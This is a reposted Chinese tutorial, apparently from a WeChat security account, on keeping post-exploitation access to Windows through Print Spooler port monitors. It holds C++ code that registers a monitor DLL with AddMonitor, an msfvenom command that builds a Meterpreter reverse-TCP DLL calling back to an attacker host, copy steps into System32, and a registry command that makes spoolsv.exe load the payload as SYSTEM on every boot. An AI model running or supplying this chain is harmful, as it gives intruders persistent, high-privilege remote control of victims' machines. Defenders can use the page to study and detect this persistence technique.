[go: up one dir, main page]

Skip to content

Latest commit

 

History

History
101 lines (62 loc) · 4.05 KB

一种后渗透阶段权限维持方法.md

File metadata and controls

101 lines (62 loc) · 4.05 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

来自 | 乌雲安全

0x01 项目地址

https://github.com/Al1ex/Monitor

0x02 项目说明

用于实现后渗透测试阶段权限维持

0x03 项目使用

Step1:下载该项目,之后使用 VS 编译 Monitor.cpp,当然也可以使用编译好的,Monitor.cpp 代码如下所示:

#include "Windows.h"
int main() {
  MONITOR_INFO_2 monitorInfo;
  TCHAR env[12] = TEXT("Windows x64");
  TCHAR name[12] = TEXT("Monitor");
  TCHAR dll[12] = TEXT("test.dll");
  monitorInfo.pName = name;
  monitorInfo.pEnvironment = env;
  monitorInfo.pDLLName = dll;
  AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
  • pName:监视器名称

  • pEnvironment:环境架构

  • pDLLName:监视器 DLL 文件的名称

Step 2:使用 Msfvenom 生成 dll 攻击载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Step 3:将 shell.dll 复制到目标主机的 system32 目录下,之后重命名为 test.dll(也就是上面的 PDLLName,你也可以自己修改为自己喜欢的,总之随意)

copy C:\temp\shell.dll C:\Windows\System32\test.dll

Step 4:之后进入 system32 目录,并执行以下命令 (Monitors.exe 为之前编译好的文件,也需要放置到 system32 目录下):

Monitors.exe

Step 5:之后成功接收到 Meterpreter 会话

0x04 持久化实现

为了实现持久性,我们需要在 "Monitors" 注册表位置下设置一个 key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值 test.dll,从编辑器中查看注册表验证密钥是否已创建:

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

下次重新启动时,spoolsv.exe 进程将加载 Monitors 注册表项中存在并存储在 Windows 文件夹 System32 中的所有驱动程序 DLL 文件

下图演示了 Meterpreter 会话已建立与 Print Spooler 服务 (SYSTEM) 相同级别的特权,并且已从 System32 文件夹执行了

一如既往的学习,一如既往的整理,一如即往的分享。感谢支持

“如侵权请私聊公众号删文”

扫描关注 LemonSec

觉得不错点个 “赞”、“在看” 哦****